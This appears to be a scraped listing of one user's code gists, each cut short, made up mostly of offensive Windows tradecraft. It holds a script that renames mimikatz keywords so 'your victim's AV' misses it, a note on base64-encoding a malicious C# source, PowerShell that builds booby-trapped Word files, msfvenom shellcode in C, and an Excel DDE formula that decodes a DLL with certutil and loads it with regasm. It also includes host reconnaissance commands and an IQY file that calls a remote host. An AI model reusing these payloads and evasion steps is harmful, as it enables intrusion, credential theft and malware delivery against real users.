davehardy20

After a little more research, 'In Memory' notion was a little exaggerated (hence the quotes). However, we'll call it 'In Memory Inspired' ;-)

These examples are PowerShell alternatives to MSBuild.exe/CSC.exe for building (and launching) C# programs.

Basic gist after running PS script statements:

- Loads C# project from file or web URL
- Create various tmp files
- Compile with csc.exe [e.g. "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\subadmin\AppData\Local\Temp\lz2er5kc.cmdline"]
- Comvert to COFF [e.g. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\subadmin\AppData\Local\Temp\RES11D5.tmp" "c:\Users\subadmin\AppData\Local\Temp\CSCDECDA670512E403CA28C9512DAE1AB3.TMP"] 

davehardy20

Windows version:
	reg query x64 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion

Users who have authed to the system:
	ls C:\Users\

System env variables:
	reg query x64 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment

Saved outbound RDP connections:

davehardy20

# This script downloads and slightly "obfuscates" the mimikatz project.
# Most AV solutions block mimikatz based on certain keywords in the binary like "mimikatz", "gentilkiwi", "[email protected]" ..., 
# so removing them from the project before compiling gets us past most of the AV solutions.
# We can even go further and change some functionality keywords like "sekurlsa", "logonpasswords", "lsadump", "minidump", "pth" ....,
# but this needs adapting to the doc, so it has not been done, try it if your victim's AV still detects mimikatz after this program.

git clone https://github.com/gentilkiwi/mimikatz.git windows
mv windows/mimikatz windows/windows
find windows/ -type f -print0 | xargs -0 sed -i 's/mimikatz/windows/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/MIMIKATZ/WINDOWS/g'

davehardy20

using System;
using System.IO;
using System.Reflection;
using System.Runtime.Hosting;

public sealed class MyAppDomainManager : AppDomainManager
{
  
    public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
    {

davehardy20

/*
Author: Arno0x0x, Twitter: @Arno0x0x

DO NOT COMPILE THIS SOURCE FILE !

Encode this source in base64:
base64 -w0 malicious.cs > malicious.b64

Then paste it in the code in "not_detected.cs" source file

davehardy20

# target file path
$filename = [Environment]::GetFolderPath('Desktop') + '\Forms.HTML.docx'
$progid = 'Forms.HTML:Image.1'
$clsid = '5512D112-5CC6-11CF-8D67-00AA00BDCE1D'
$html = '<x type="image" src="https://securify.nl/blog/SFY20180801/packager.emf" action="file:///c|/windows/system32/calc.exe">'

# load assemblies for changing the docx (zip) file
[void] [Reflection.Assembly]::LoadWithPartialName('System.IO.Compression.FileSystem')
[void] [Reflection.Assembly]::LoadWithPartialName('System.IO.Compression')

davehardy20

# target file path
$filename = [Environment]::GetFolderPath('Desktop') + '\WebBrowser.docx'

# path to open
#$path = 'c:\windows\system32\calc.exe'
$path = 'https://securify.nl/blog/SFY20180801/thisisfine.url'

# the temp file is used for creating the icon
$tmpfile = "$env:TEMP\Totally Safe.txt"

davehardy20

#pragma comment(lib, "Shell32.lib")
#include <windows.h>
#include <shlobj.h>

// msfvenom -p windows/exec -a x86 --platform windows -f c cmd=calc.exe
int buf_len = 193;
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"

davehardy20

=cmd|' /c more +12 %userprofile%\Downloads\poc.iqy > %temp%\poc.hex && certutil -decodehex %temp%\poc.hex %temp%\poc.dll && C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U %temp%\poc.dll'!'A1'

davehardy20

WEB
1
https://ringzer0team.com/IQY

Selection=EntirePage
Formatting=RTF
PreFormattedTextToColumns=True
ConsecutiveDelimitersAsOne=True
SingleBlockTextImport=False
DisableDateRecognition=False